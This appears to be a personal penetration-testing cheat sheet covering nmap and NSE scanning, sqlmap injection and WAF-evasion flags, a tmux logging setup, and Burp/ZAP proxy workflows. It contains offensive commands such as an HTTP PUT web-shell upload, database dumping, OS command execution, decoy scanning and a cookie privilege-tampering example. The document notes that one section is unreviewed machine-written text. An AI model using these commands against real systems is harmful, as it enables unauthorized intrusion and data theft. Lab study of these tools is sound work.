  • Unfiltered - (with -sA TCP ACK scans) can’t determine the state, but the port is accessible
  • Open/Filtered - can’t tell if the port is open or blocked by a firewall
  • Closed/Filtered - (with -sI IP ID idle scan) can’t tell if the port is closed or blocked by a firewall
# Host Discovery
sudo nmap --open -oA host_discovery_simple.txt -iL scope.txt 

# NOTE: this is optimized for labs:
# -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1
sudo nmap -n -sn -v --stats-every 30s -PS445,80,443,3389,135,5985,22,8080,111 -oA host_discovery.txt -iL scope.txt -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1

---

awk '/Up$/{print $2}' host_discovery.txt > live_hosts.txt

For “ghost hosts” consider: -PU137,138,161,53,67,123,500,4500 to scan UDP (though very slow)

# All ports (TCP Full Scan)
rustscan -a live_hosts.txt --ulimit 5000 -- -sC -sV -v --stats-every 30s -oA nmap_rustscan_all_ports

# Massive network (SYN Half Scan)
sudo masscan --rate 1000 -p1-65535 -iL live_hosts.txt -oL masscan.txt -e <INTERFACE> 
PORTS=$(awk '/open/ {print $3}' masscan.txt | sort -u | paste -sd, -)
sudo nmap --stats-every 30s -sS -sV -sC -v -p$PORTS -oA nmap_masscan_all_ports <TARGET>
# UDP
sudo nmap -sU -sV --top-ports 100 -v -oA nmap_top100_udp <TARGET>
# Find Live Hosts
sudo nmap -n -sn --reason -oA host_disc <TARGET>
# Create list
grep 'Status: Up' host_disc.gnmap | awk '{print $2}' | tee live_hosts.txt
# Scan normally w/ list
sudo nmap -n -Pn -sS -sV -sC --reason --top-ports=1000 -oA host_disc_live -iL live_hosts.txt
# Trace packet (MORE INFO)
sudo nmap -n -Pn -sS --packet-trace --disable-arp-ping -p <PORT> <TARGET>

# TCP Full-Connect (3-way handshake)
sudo nmap -n -Pn -sT -sV -sC --reason <TARGET>

# UDP (normally no response)
sudo nmap -n -Pn -sU -sV -sC --reason --top-ports=100 <TARGET>

# Create HTML reports from nmap XML scan
# https://nmap.org/book/output.html
xsltproc <SCAN_FILE>.xml -o <OUTPUT>.html

# SPAM: scan using multiple IP addresses
sudo nmap -n -Pn --max-retries=1 --source-port <SRC_PORT> -D RND:5 <TARGET>

# --max-retries <ATTEMPTS>
# -T <AGGRESSION_1_5>
# --packet-trace
# --reason
# --disable-arp-ping
# --top-ports=<NUM>
# --script <SCRIPT>
# -g <SRC_PORT>
# --dns-server <NAMESERVER>

Static nmap

A static nmap will not be able to perform -sC/--script nor -sV and there might be some issues with -O OS detection.

-sT, -sS (root), and -sV should be fine

wget https://github.com/andrew-d/static-binaries/raw/refs/heads/master/binaries/linux/x86_64/nmap

scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null nmap <USER>@<TARGET>:/tmp/

chmod +x nmap
./nmap -n -Pn -sT --stats-every 15s -vvv <TARGET_SUBNET>

Nmap Scripting Engine (NSE)

The Nmap Scripting Engine (NSE) extends Nmap’s functionality with custom scripts for vulnerability detection, service enumeration, and exploitation.

Reference: NSE Usage Guide

How to Use NSE

Basic Usage:

  • -sC - Run a set of popular, common scripts
  • --script - Run specific scripts by name, category, or file path
  • --script-help - Show arguments for --script-args

Advanced Usage:

  • Combine scripts with wildcards: --script "smb-*,http-*"
  • Use comprehensive documentation: NSE Script Database
  • Search for scripts: grep "ftp" /usr/share/nmap/scripts/script.db
# --script-trace : trace script scans
nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' -oA nmap_http_put <TARGET>
Script Categories

Location: /usr/share/nmap/scripts

CategoryDescription
authScripts related to authentication, such as bypassing credentials or checking for default ones.
broadcastUsed to discover hosts on the local network by broadcasting requests.
bruteScripts that perform brute-force attacks to guess passwords or credentials.
defaultThe core set of scripts that are run automatically with -sC or -A.
discoveryActively gathers more information about a network, often using public registries or protocols like SNMP.
dosTests for vulnerabilities that could lead to a denial-of-service attack.
exploitActively attempts to exploit known vulnerabilities on a target system.
externalInteracts with external services or databases.
fuzzerSends unexpected or randomized data to a service to find bugs or vulnerabilities.
intrusiveThese scripts can be noisy, resource-intensive, or potentially crash the target system.
malwareScans for known malware or backdoors on a target host.
safeScripts that are considered safe to run as they are not designed to crash services, use excessive resources, or exploit vulnerabilities.
versionExtends the functionality of Nmap’s version detection feature.
vulnChecks a target for specific, known vulnerabilities.

Install New NSE Script

sudo wget --output-file /usr/share/nmap/scripts/<SCRIPT>.nse \
    https://svn.nmap.org/nmap/scripts/<SCRIPT>.nse

nmap --script-updatedb

SQLmap

Core Flags

OptionPurpose
-u / --urlTarget URL (GET params tested by default).
--dataPOST body (e.g. 'uid=1&name=test'). Use * at injection point: 'uid=1*&name=test'.
-pTest only this parameter (e.g. -p uid).
-rRequest file β€” full HTTP request (from Burp / Copy to file). Put * in the request where to inject (e.g. /?id=*).
--cookieSession cookie (e.g. --cookie='PHPSESSID=...'). Use * in value to test cookie: --cookie="id=1*".
-H / --headerCustom header(s). Same for --host, --referer, -A/--user-agent.
--random-agentRandom User-Agent from built-in list (evade WAF that blocks sqlmap default).
--mobileUse a mobile User-Agent.
--methodHTTP method (e.g. --method PUT).
--batchNon-interactive (no prompts).

Workflow

NOTE: Don’t rely on sqlmap to crawl or guess…

Capture the exact request via:

  • a web proxy, save it to a file, and feed it to sqlmap
  • browser Web Developers Tools as a cURL command, then change curl to sqlmap and add any additional options like --forms
# WEB PROXY: Capture request > Save > 'request.txt'
sqlmap --batch -r request.txt

---

# Auto-parse HTML forms (if no proxy)
sqlmap --forms --batch -u "<URL>"

# Spider the site to find parameters
sqlmap --crawl=3 --batch -u "<URL>"

# (REST/JSON) Manual injection point -- use '*' where to inject
sqlmap --batch -u "http://target.com/api/v1/user/105*"

By default sqlmap prioritizes speed: level 1 only tests GET (URL) and POST (body). It does not test cookies or headers unless you raise the level.

  • -r (request file): Gold standard. Raw HTTP request = exact cookies, JSON, headers; no guessing.
  • --forms: Parses the HTML response, finds <form> inputs, and builds POST requests. Without it, a URL that only shows a login form is only tested as GET.
  • * marker: For REST (e.g. /user/105) or when the injection point isn’t a normal param, put * at the value to test: sqlmap -u "http://target/item/12*" β€” sqlmap injects at 12.

Techniques (BEUSTQ)

Try the simpler/faster techniques first to find easy wins, but

NOTE: remember this will miss techniques!

sqlmap --technique=BEU

Union-based

Combine two queries to dump data directly into the response. Count the displayed columns (and maybe iteratively increase columns amount)

sqlmap -u "<URL>" --technique=U --union-cols=5

Error-based

Trigger DB errors that leak data inside the error message.

sqlmap -u "<URL>" --technique=E

Blind Boolean

Infer data from whether the page content or behaviour changes (true vs false).

NOTE: careful this is a very unstable method that might require multiple runs or --no-cast

sqlmap -u "<URL>" --technique=B --level 5 --risk 3

Blind Time

Infer data from response delays (e.g. SLEEP) when the condition is true.

sqlmap -u "<URL>" --technique=T

Stacked queries

Append extra SQL statements after the vulnerable one (e.g. INSERT/UPDATE/DELETE or OS commands); requires DB support (e.g. MSSQL, PostgreSQL).

sqlmap -u "<URL>" --technique=S

Inline queries

Query embedded inside the original query; uncommon and app-dependent.

sqlmap -u "<URL>" --technique=Q

Out-of-band

Exfiltrate via DNS or HTTP to a server you control when no output is visible.

sqlmap -u "<URL>" --dns-domain=<DOMAIN>

Troubleshooting

  • JSON/XML / APIs: sqlmap may not detect parameters automatically. Use -r with a captured request or raise --level.
  • Headers & cookies: Level 1 ignores them. --level 2 = cookies; --level 3 = User-Agent/Referer; --level 5 = Host.
  • CSRF tokens: If the form needs a fresh token per request, replay fails. Use --csrf-token="csrf_token_name" or --csrf-url.
OptionPurpose
--parse-errorsParse and display DBMS errors (syntax, access, etc.) so you can see what the database is complaining about.
-t <FILE>Store all traffic (requests and responses) to a file. Inspect manually to see where the failure occurs.
-v <LEVEL>Verbosity (e.g. -v 6). More console output; full HTTP requests/responses in real time so you can follow what sqlmap is doing.
--proxy <URL>Route sqlmap through a proxy (e.g. Burp: --proxy http://127.0.0.1:8080). Inspect, repeat, and use proxy features on every request.
# Show DBMS errors
sqlmap -u "http://target.com/vuln.php?id=1" --batch --parse-errors

# Log traffic to file
sqlmap -u "http://target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt

# Verbose (e.g. level 6)
sqlmap -u "http://target.com/vuln.php?id=1" -v 6 --batch

# Via Burp
sqlmap -u "http://target.com/vuln.php?id=1" --batch --proxy http://127.0.0.1:8080

Attack Tuning & Escalation

“Silver Bullet” Commands

When default sqlmap fails to find an injection, match your scenario to one of these three archetypes.

Archetype A: The Logic/Bracket Failure (OR Payloads) Use when AND logic fails, or the query uses heavily nested parentheses (((...))).

  • * tells SQLMap to replace the parameter entirely (creates a clean True/False baseline).
  • --risk 3 enables OR payloads.
  • --level 5 tests maximum combinations of closing brackets/quotes.
sqlmap -u "http://<TARGET>/case5.php?id=*" --level 5 --risk 3 -T <TABLE> --dump --batch

Archetype B: The Custom Boundary (Manual Prefix) Use when you manually found the syntax breaker in Burp (e.g., )), but SQLMap isn’t guessing it.

  • --prefix forces SQLMap to inject the exact closing syntax before its payload.
sqlmap -u "http://<TARGET>/case6.php?col=id" --prefix='`)' --dump --batch

Archetype C: The Union Structure Failure Use when SQLMap detects a parameter but fails to extract data via UNION.

  • --technique=U forces UNION-based SQLi (saves time).
  • --union-cols=5 tells SQLMap exactly how many columns exist (find this manually with ORDER BY 5 in Burp).
sqlmap -u "http://<TARGET>/case7.php?id=1" --technique=U --union-cols=5 --dump --batch

Advanced Tuning

When SQLMap is hallucinating data or failing to distinguish True/False pages, use these flags to fix its baseline.

FlagPurpose / Mechanic
Boundaries & Coverage
--level=5Tests more parameters (Cookies, Headers) and uses complex boundary closures ())), "").
--risk=3Enables OR logic payloads. Required for Login bypasses and UPDATE/DELETE queries.
--prefix="..."Manually close the developer’s SQL string (e.g., --prefix="%'))").
--suffix="..."Manually comment out the rest of the developer’s SQL (e.g., --suffix="-- -").
Boolean State Tuning(Fixes “Hallucinations” and “2 Letters Off” errors)
--string="Success"Marks a page as TRUE only if this exact word appears.
--text-onlyStrips all HTML tags before comparing True/False. Fixes wobble from dynamic hidden fields.
--code=200Uses HTTP Status Codes to define TRUE.
--titlesCompares the <title> tags instead of the whole body.
Execution Control
--technique=BEUOnly use Boolean, Error, and Union. Skips Time-based (T) which causes timeouts.
--union-char='a'Replaces NULL with a string character. Fixes strict typing errors in UNION queries.
--union-from=usersAppends a specific table to the UNION payload (Required for Oracle DBs).

Evasion & Protections Bypass

Application Logic & Request

FlagDescription
--csrf-token="name"Automatically parses the HTTP response to extract and update anti-CSRF tokens for subsequent requests.
--randomize="param"Generates a random value for a specific parameter per request, bypassing anti-automation unique-value checks.
--eval="python_code"Executes inline Python to calculate dynamic parameter values (e.g., import hashlib; h=hashlib.md5(id).hexdigest()).

Network & Protocol Evasion

FlagDescription
--random-agentReplaces the default sqlmap User-Agent with a random, legitimate browser UA to bypass basic blacklists.
--skip-wafSkips SQLMap’s initial, highly-noisy WAF heuristic payload check.
--proxy="url"Routes traffic through a single proxy (e.g., socks4://127.0.0.1:9050) or a list (--proxy-file).
--torRoutes traffic via the Tor network (use --check-tor to verify anonymization).
--chunkedUses HTTP chunked transfer encoding to split POST bodies, bypassing WAF keyword inspection at the protocol layer.
--hppHTTP Parameter Pollution. Splits the payload across multiple identical parameters (e.g., ?id=1&id=UNION&id=SELECT).

Tamper Scripts

Tamper scripts use Python to rewrite the SQL payload before it is sent to the target. They can be chained by comma-separating them (e.g., --tamper=space2comment,randomcase).

Tamper-ScriptDescription
0eunionReplaces instances of UNION with e0UNION
base64encodeBase64-encodes all characters in a given payload
betweenReplaces greater than operator (>) with NOT BETWEEN 0 AND # and equals operator (=) with BETWEEN # AND #
commalesslimitReplaces (MySQL) instances like LIMIT M, N with LIMIT N OFFSET M counterpart
equaltolikeReplaces all occurrences of operator equal (=) with LIKE counterpart
halfversionedmorekeywordsAdds (MySQL) versioned comment before each keyword
modsecurityversionedEmbraces complete query with (MySQL) versioned comment
modsecurityzeroversionedEmbraces complete query with (MySQL) zero-versioned comment
percentageAdds a percentage sign (%) in front of each character (e.g. SELECT -> %S%E%L%E%C%T)
plus2concatReplaces plus operator (+) with (MSSQL) function CONCAT() counterpart
randomcaseReplaces each keyword character with random case value (e.g. SELECT -> SEleCt)
space2commentReplaces space character ( ) with comments /**/
space2dashReplaces space character ( ) with a dash comment (--) followed by a random string and a new line (\n)
space2hashReplaces (MySQL) instances of space character ( ) with a pound character (#) followed by a random string and a new line (\n)
space2mssqlblankReplaces (MSSQL) instances of space character ( ) with a random blank character from a valid set of alternate characters
space2plusReplaces space character ( ) with plus (+)
space2randomblankReplaces space character ( ) with a random blank character from a valid set of alternate characters
symboliclogicalReplaces AND and OR logical operators with their symbolic counterparts (&& and ')
versionedkeywordsEncloses each non-function keyword with (MySQL) versioned comment
versionedmorekeywordsEncloses each keyword with (MySQL) versioned comment

Database Enumeration

OptionPurpose
--banner --current-user --current-db --is-dbaDB version, user, DB name, is DBA.
--users --passwordsEnumerate DB users and hashes (needs high priv).
--dbsList all databases.
-D <DB> --tablesList tables in database.
-D <DB> -T <TABLE> --columnsList columns in table.
-D <DB> -T <TABLE> --dumpDump entire table.
-C col1,col2 --dumpDump only specified columns.
--start=N --stop=M --dumpDump rows N through M.
--where="cond" --dumpDump only rows matching condition.
--dump-all --exclude-sysdbsDump all DBs except system (e.g. information_schema, mysql).
--is-dba true β†’Pivot to --os-shell / --file-read (RCE).
Dump path~/.local/share/sqlmap/output/; use --dump-format=sqlite for large DBs.
DBMS root β‰  Linux rootDB root can write anywhere only if DBMS runs as Linux root.

OS Exploitation Options

OptionDescription
--file-write="local"Specifies the local file you want to upload to the target.
--file-dest="remote"Specifies the absolute path on the target server where the file should be written.
--os-cmd="cmd"Executes a single operating system command and retrieves the output.

tmux

Install and Setup

Install Tmux Plugin Manager (TPM):

sudo apt install -y tmux xclip
mkdir -p ~/my_data/
cat > ~/.tmux.conf <<'EOF'
set -g history-limit 50000
set -g mouse on
set -g @logs_dir "$HOME/my_data/tmux_logs"
run-shell 'mkdir -p "#{@logs_dir}"'
set-hook -g after-new-session 'pipe-pane -o "cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-#{session_name}-#{window_index}-#{pane_index}.log"'
set-hook -g after-new-window 'pipe-pane -o "cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-#{session_name}-#{window_index}-#{pane_index}.log"'
set-hook -g after-split-window 'pipe-pane -o "cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-#{session_name}-#{window_index}-#{pane_index}.log"'
set-hook -g session-created 'run-shell "tmux list-panes -s -F \"#{pane_id}\" | xargs -I{} tmux pipe-pane -t {} -o \"cat >> #{@logs_dir}/$(date +%Y%m%d-%H%M%S)-restored-{}.log\""'
set -g @plugin 'tmux-plugins/tpm'
set -g @plugin 'tmux-plugins/tmux-sensible'
set -g @plugin 'tmux-plugins/tmux-sessionist'
set -g @plugin 'tmux-plugins/tmux-pain-control'
# set -g @plugin 'tmux-plugins/tmux-resurrect'
set -g @plugin 'tmux-plugins/tmux-continuum'
set -g @plugin 'tmux-plugins/tmux-yank'
set -g @plugin 'sainnhe/tmux-fzf'
set -g @plugin 'christoomey/vim-tmux-navigator'
set -g @plugin 'catppuccin/tmux'
set -g @continuum-restore 'on'
set -g @continuum-save-interval '15'
set -g @resurrect-capture-pane-contents 'on'
set -g @resurrect-strategy-vim 'session'
set -g @catppuccin_flavour 'mocha'
set -g @catppuccin_window_status_style "rounded"
set -g status-right "#{E:@catppuccin_status_session} #{E:@catppuccin_status_host}"
run '~/.tmux/plugins/tpm/tpm'
EOF
[ ! -d ~/.tmux/plugins/tpm ] && git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm
export TMUX_PLUGIN_MANAGER_PATH="$HOME/.tmux/plugins/"
tmux start-server
tmux new-session -d
$TMUX_PLUGIN_MANAGER_PATH/tpm/bin/install_plugins
tmux kill-server
printf '\n[ -z "$TMUX" ] && exec tmux\n' >> ~/.bashrc
printf '\n[ -z "$TMUX" ] && exec tmux\n' >> ~/.zshrc

Tmux Core Hotkeys

Default Prefix: CTRL+B

ActionHotkeyDescription
Create New Tab (Window)Prefix + CCreates a new tmux window (full-screen tab).
Next TabPrefix + NSwitches to the next tmux window.
Previous TabPrefix + PSwitches to the previous tmux window.
Switch by NumberPrefix + 0-9Jumps directly to a window by index.
Rename Current TabPrefix + ,Renames the current window for easier tracking.

Tmux Logging Hotkeys

Note: Logging is enabled by default in this config via pipe-pane, with one timestamped file per pane in ~/.tmux/logs/ (format: YYYYmmdd-HHMMSS-session-window-pane.log). The plugin hotkeys below are still useful for manual/retroactive captures. See docs for changing plugin logging options.

ActionHotkeyDescription
Toggle LoggingPrefix + Shift + PStarts/stops logging the current pane to a file.
Retroactive LogPrefix + Alt + Shift + PSaves the entire pane history (up to history-limit) if you forgot to start logging initially.
Pane CapturePrefix + Alt + PSaves only the currently visible screen. Solves copy/paste formatting messes when panes are split.

Web proxy tools (OWASP ZAP & Burp Suite)

WIP: currently this is AI slop distilled from handouts


Quick reference: hotkeys

Same action, side by side for both tools.

ActionOWASP ZAPBurp Suite
Toggle request interceptCtrl+Bβ€”
Forward intercepted requestβ€”β€”
Intercept responseβ€”β€”
Open Replacer / Match and ReplaceCtrl+Rβ€”
Send to Repeaterβ€”Ctrl+R (send); Ctrl+Shift+R (go to tab)
Send to Intruderβ€”Ctrl+I (send); Ctrl+Shift+I (go to tab)
URL-encode selectionβ€” (auto on send)Ctrl+U
Open Decoder / EncoderCtrl+Eβ€”

Tool-agnostic overview

Setting up

Concept (tool-agnostic):
Both tools run on Windows, macOS, and Linux. They are pre-installed on common PT distros (e.g. Parrot, Kali) and on PwnBox (dock or top bar). Both require a Java Runtime Environment (JRE); installers usually bundle it. For custom VMs you can use installers or the cross-platform JAR and run with java -jar <path/to/tool.jar>. Choose a temporary project/session for short engagements; use a saved project/session when you need to persist progress (e.g. large apps or long-running scans).

Burp Suite

  • Download: Burp Download Page β€” installers for Windows, Linux, macOS, or JAR for any OS with JRE.
  • Launch: From terminal run burpsuite, or from the application menu. JAR: java -jar </path/to/burpsuite.jar> (or double-click).
  • First run: Create a project β†’ choose Temporary project (Community Edition only supports temporary; Pro/Enterprise can save to disk or open existing). Then choose Use Burp Defaults (or load a config file if you have one) β†’ Start Burp.
  • Dark theme: Burp β†’ Settings β†’ User interface β†’ Display β†’ set Theme to Dark.

OWASP ZAP

  • Download: ZAP Download Page β€” installers per OS or cross-platform JAR.
  • Launch: From terminal run zaproxy, or from the application menu. JAR: java -jar <path/to/zap.jar> (or double-click).
  • First run: When asked about persisting the session, choose not to persist for a temporary session (or pick timestamp/name if you need to save). Then continue to proxy setup.
  • Dark theme: Tools β†’ Options β†’ Display β†’ set Look and Feel to Flat Dark.

Proxy setup

Concept (tool-agnostic):
Use the tool as a web proxy so all browser (or app) traffic goes through it. You can inspect requests/responses, intercept and modify them, and replay them with changes to see how the app behaves. Either use the tool’s pre-configured browser (proxy + CA cert already set) or configure your own browser (e.g. Firefox) to use the proxy and install the tool’s CA certificate so HTTPS works without repeated β€œaccept” prompts.

Pre-configured browser

Fastest option: proxy and CA are already set; traffic is routed automatically.

Burp Suite
Proxy β†’ Intercept β†’ click Open browser. Burp’s embedded browser opens with traffic routed through Burp.

OWASP ZAP
Click the Firefox icon at the end of the top bar. Opens the browser chosen in the Quick Start tab, pre-configured to proxy through ZAP.

Manual proxy (e.g. Firefox)

Both tools listen on port 8080 by default. Use the same port in the browser. If the port is in use, the proxy will not start (you’ll see an error).

  • Change listening port:
    • Burp: Proxy β†’ Proxy settings β†’ Proxy listeners
    • ZAP: Tools β†’ Options β†’ Network β†’ Local Servers/Proxies
  • Firefox: Set proxy in Preferences to 127.0.0.1 and the chosen port, or use FoxyProxy (e.g. on PwnBox it’s pre-installed): FoxyProxy icon β†’ Options β†’ Add β†’ IP 127.0.0.1, port 8080, name e.g. Burp or ZAP β†’ Save. Then use the FoxyProxy icon to switch to Burp/ZAP. (FoxyProxy can be installed from the Firefox add-ons page.)

Installing the CA certificate

Required for HTTPS to work cleanly through the proxy (otherwise traffic may fail or you’ll have to accept warnings repeatedly).

Burp Suite
With Burp set as the proxy in the browser, go to http://burp and click CA Certificate to download it.

OWASP ZAP
Tools β†’ Options β†’ Network β†’ Server Certificates β†’ Save to export the CA cert (or Generate to create a new one), then use the saved file.

Firefox (install cert):
Open about:preferences#privacy β†’ scroll down β†’ View Certificates β†’ Authorities tab β†’ Import β†’ select the downloaded CA file β†’ check Trust this CA to identify websites and Trust this CA to identify email users β†’ OK.

After proxy + CA are set, all Firefox traffic will go through the web proxy.


Intercepting and manipulating web requests

Concept (tool-agnostic):
With the proxy running, you can intercept HTTP requests so they pause in the tool instead of going straight to the server. You can inspect and edit the request (headers, parameters, body), then forward it. The server sees your modified request; the response helps you test for issues the UI might block (e.g. front-end validation). Use this for testing SQL injection, command injection, upload bypass, authentication bypass, XSS, XXE, error handling, deserialization, and similar web vulnerabilities.
Example: A form may only allow digits in an “IP” field via JavaScript. By intercepting the POST, you can change e.g. ip=1 to ip=;ls; and forward to test for command injection if the backend doesn’t validate.

Intercepting requests

Burp Suite
Proxy β†’ Intercept. Intercept is on by default (button shows “Intercept is on”). Click the button to toggle on/off. With intercept on, open the pre-configured browser and load the target; the request appears in Burp. Use Forward to send it. If multiple requests are queued (e.g. other Firefox traffic), keep clicking Forward until you reach the target request.

OWASP ZAP
Intercept is off by default (toolbar button is green = traffic passes). Click the button to toggle, or use Ctrl+B. With intercept on, load the target in the pre-configured browser; the request appears in the top-right pane. Click Step (next to the red break button) to forward one request.
HUD (Heads Up Display): Click the HUD button at the end of the top menu bar to enable in-browser controls. In the HUD’s left pane, the second button from the top turns request interception on. When a request is intercepted, use Step (one request, then break again) or Continue (forward this and let the rest through). Step is for inspecting each request; Continue when you only care about one. Note: Some browser versions may not support the HUD well. First-time ZAP browser use may show a HUD tutorial (or configuration β†’ Take the HUD tutorial).

Manipulating then forwarding

Edit the intercepted request in the request pane (method, URL, headers, body). Change parameters, add payloads, etc. Then Forward (Burp) or Step / Continue (ZAP) to send it. Check the response in the browser or in the tool to see how the app handled your input.


Intercepting responses

Concept (tool-agnostic):
You can intercept HTTP responses before they reach the browser and edit the HTML/headers. Use this to change how the page looks or behaves: enable disabled fields, show hidden fields, change type="number" to type="text", increase maxlength, etc. That can let you test from the browser without having to send every payload via an intercepted request. For simple cases (just enable disabled or unhide hidden form fields), both tools can do it automatically so you don’t have to intercept and edit by hand.

Enabling response interception

Burp Suite
Proxy β†’ Proxy settings β†’ under Response interception rules enable Intercept Response (and Update Content-Length if needed). With request intercept on, do a full refresh in the browser (e.g. Ctrl+Shift+R); forward the request in Burp, then the response is intercepted. Edit the response (e.g. change type="number" to type="text", maxlength="3" to maxlength="100"), then Forward. The browser receives your modified response.
Automatic unhide: Proxy β†’ Proxy settings β†’ Response modification rules β†’ enable e.g. Unhide hidden form fields so hidden/disabled fields are shown without manually intercepting.

OWASP ZAP
With request intercept on, click Step to send the request; ZAP then intercepts the response. Edit the response in the pane, then Continue to send it to the browser.
HUD β€” enable/show without intercepting: In the HUD left pane, the third button (light bulb) is Show/Enable: it enables disabled inputs and shows hidden fields in the current page without intercepting the response or refreshing. Use it when you only need to unlock fields, not edit HTML by hand.
HUD β€” HTML comments: In the HUD left pane click + β†’ Comments to add the Comments control. It shows indicators where HTML comments are; hover to see the comment content (useful for dev notes or hidden hints).

Tip: Use a full page refresh (Ctrl+Shift+R in the browser) when testing so you get a clean request/response cycle.


Automatic modification

Concept (tool-agnostic):
Define match/replace rules so the proxy automatically changes all outgoing requests or all incoming responses without intercepting each one. Use for: replacing headers (e.g. User-Agent to bypass filters), changing response HTML on every load (e.g. type="number" β†’ type="text", maxlength="3" β†’ maxlength="100"), or injecting payloads in request bodies. Rules can use plain text or regex; you choose request header/body or response header/body.

Automatic request modification

Example: Replace the User-Agent header with a custom value (e.g. to bypass User-Agent filters).

Burp Suite
Proxy β†’ Proxy settings β†’ Match and Replace (or HTTP match and replace rules) β†’ Add.

  • Type: Request header
  • Match: ^User-Agent.*$ (regex for the whole User-Agent line)
  • Replace: User-Agent: HackTheBox Agent 1.0
  • Regex match: True

Rule is applied to all requests. Verify by intercepting a request and checking the header.

OWASP ZAP
Open Replacer: Ctrl+R or Tools β†’ Options β†’ Replacer (or Replacer in the options menu). Add a rule:

  • Description: e.g. HTB User-Agent
  • Match Type: Request Header (will add if not present) β€” or Request Header String for regex
  • Match String: User-Agent (or pick from dropdown; use regex in the string if Match Type is Request Header String)
  • Replacement String: HackTheBox Agent 1.0
  • Enable: True

Initiators tab: choose where the rule applies (default: all HTTP(S) messages). Verify with Ctrl+B (intercept on), then visit a page and check the request.

Automatic response modification

Example: Always change type="number" to type="text" and maxlength="3" to maxlength="100" in responses so the change persists across refreshes without manually intercepting.

Burp Suite
Proxy β†’ Proxy settings β†’ Match and Replace β†’ Add.

  • Type: Response body
  • Match: type="number"
  • Replace: type="text"
  • Regex match: False

Add a second rule: Match maxlength="3", Replace maxlength="100", Regex false. Full refresh (Ctrl+Shift+R) in the browser to see the updated page; the field now accepts any input on every load.

OWASP ZAP
Replacer (Ctrl+R) β†’ Add two rules:

  1. Match Type: Response Body String. Match Regex: False. Match String: type="number". Replacement String: type="text". Enable: True.
  2. Match Type: Response Body String. Match Regex: False. Match String: maxlength="3". Replacement String: maxlength="100". Enable: True.

Refresh the page to verify. You can also add request-body rules (e.g. replace a parameter value with a payload like ;ls; when submitting a specific form) by matching the request body and setting the replacement; use Initiators in ZAP to limit which messages get the rule if needed.


Repeating requests

Concept (tool-agnostic):
Request repeating lets you resend any request that has already gone through the proxy. You edit it (e.g. change a parameter or payload), send it from the tool, and see the response thereβ€”no need to intercept again. Use this for repetitive testing (e.g. trying many commands or payloads). Both tools keep a history of requests; you pick one, send it to a repeater / request editor, modify, and Send.

Proxy / HTTP history

Burp Suite
Proxy β†’ HTTP History. Lists all requests that passed through the proxy; use filters and sorting to find the one you want. Click a request to see full request and response. If the request was edited during intercept, the pane header shows Original Request; switch to Edited Request to see what was actually sent.
Note: Proxy β†’ WebSockets history for WebSocket traffic (advanced use).

OWASP ZAP
History tab at the bottom (main UI), or in the HUD the bottom History pane. Filters and sorting available. Click a request to view details. ZAP shows the final/modified request only (no separate original vs edited view like Burp).
Note: WebSockets history is available for async/WebSocket connections.

Repeating (Repeater / Request Editor)

Burp Suite
With the request selected in HTTP History (or elsewhere), Ctrl+R sends it to the Repeater tab. Ctrl+Shift+R switches to the Repeater tab. In Repeater: edit the request (headers, body, etc.), click Send; the response appears in the response pane. Right-click the request β†’ Change Request Method to switch between POST/GET without rewriting the whole request.

OWASP ZAP
Right-click the request in History β†’ Open/Resend with Request Editor. The Request Editor window opens; edit the request, then click Send to get the response in the same window. Use the Method dropdown to change HTTP method. Use the display/layout buttons to arrange request and response (tabs vs side-by-side, etc.).
HUD: In the pre-configured browser, click the request in the bottom History pane β†’ Request Editor appears. Replay in Console shows the response in the HUD; Replay in Browser renders it in the browser. In all cases (Burp Repeater, ZAP Request Editor, ZAP HUD) you can edit then Send to resend with changes.

Tip: Request bodies are often URL-encoded; keep encoding in mind when editing (e.g. %3B for ;). The next section covers this in more detail.


Encoding / decoding

Concept (tool-agnostic):
When you modify and send custom HTTP requests, encoding and decoding matter. URL encoding ensures the server parses data correctly: characters like spaces (can end request data), & (parameter delimiter), and # (fragment) must be encoded. Applications also use other encodings (HTML, Unicode, Base64, ASCII hex); you need to decode to inspect data (e.g. cookies, tokens) and encode payloads in the format the server expects. Both tools have built-in encoders/decoders so you can work quickly without leaving the proxy.

URL encoding

Burp Suite (Repeater): Select the text β†’ right-click β†’ Convert Selection β†’ URL β†’ URL-encode key characters, or Ctrl+U. You can enable URL-encode as you type via right-click so input is encoded automatically. Other options: Full URL-encoding, Unicode URL encoding (for many special characters).

OWASP ZAP: Request data is automatically URL-encoded before send (you may not see it in the editor). For manual control or other encodings, use the Encoder/Decoder/Hash tool (see below).

Decoder / Encoder tool

Burp Suite
Decoder tab: enter text, choose Decode as or Encode as (e.g. Base64, HTML, Unicode, ASCII hex). The output pane can be passed through another encoder/decoderβ€”select the method in the output area to chain. Burp Inspector (in Proxy, Repeater, etc.) also does encoding/decoding inline on requests and responses.

OWASP ZAP
Encoder/Decoder/Hash: Ctrl+E. Decode tab: paste input; ZAP can try multiple decoders. Encode (or same tool): choose encoding, get output. Use Add New Tab to build custom tabs with multiple encoders/decoders. To chain (e.g. decode then encode with another method), copy the output and paste into the input field.

Example: Base64 cookie eyJ1c2VybmFtZSI6Imd1ZXN0IiwgImlzX2FkbWluIjpmYWxzZX0= decodes to {"username":"guest", "is_admin":false}. Edit to admin / true, re-encode as Base64, then paste the new string into the request in Repeater or Request Editor to test privilege changes. Same idea applies to any encoding (HTML, Unicode, etc.) for inspection and payload crafting.


Proxying other tools

Concept (tool-agnostic):
You can route command-line tools and thick clients through the web proxy so their HTTP(S) traffic is visible and editable. Configure each tool to use the proxy (e.g. http://127.0.0.1:8080); methods vary by tool. Then you get full proxy features: intercept, history, repeat, modify. Use this when you need to see or change what a script or app is sending. Note: Proxying usually slows tools downβ€”only enable it when you need to inspect or manipulate their requests.

Proxychains (Linux)

Proxychains sends traffic from any CLI tool through a proxy. Easiest way to proxy arbitrary commands.

  1. Edit /etc/proxychains.conf: comment out the default proxy line (e.g. #socks4 127.0.0.1 9050) and add:
    http 127.0.0.1 8080
  2. Run the command via proxychains. Use -q for quiet mode (less console noise):
    proxychains -q curl http://SERVER_IP:PORT
    The request appears in the web proxy (Burp or ZAP) like browser traffic. Works with any HTTP(S)-using CLI tool.

Metasploit

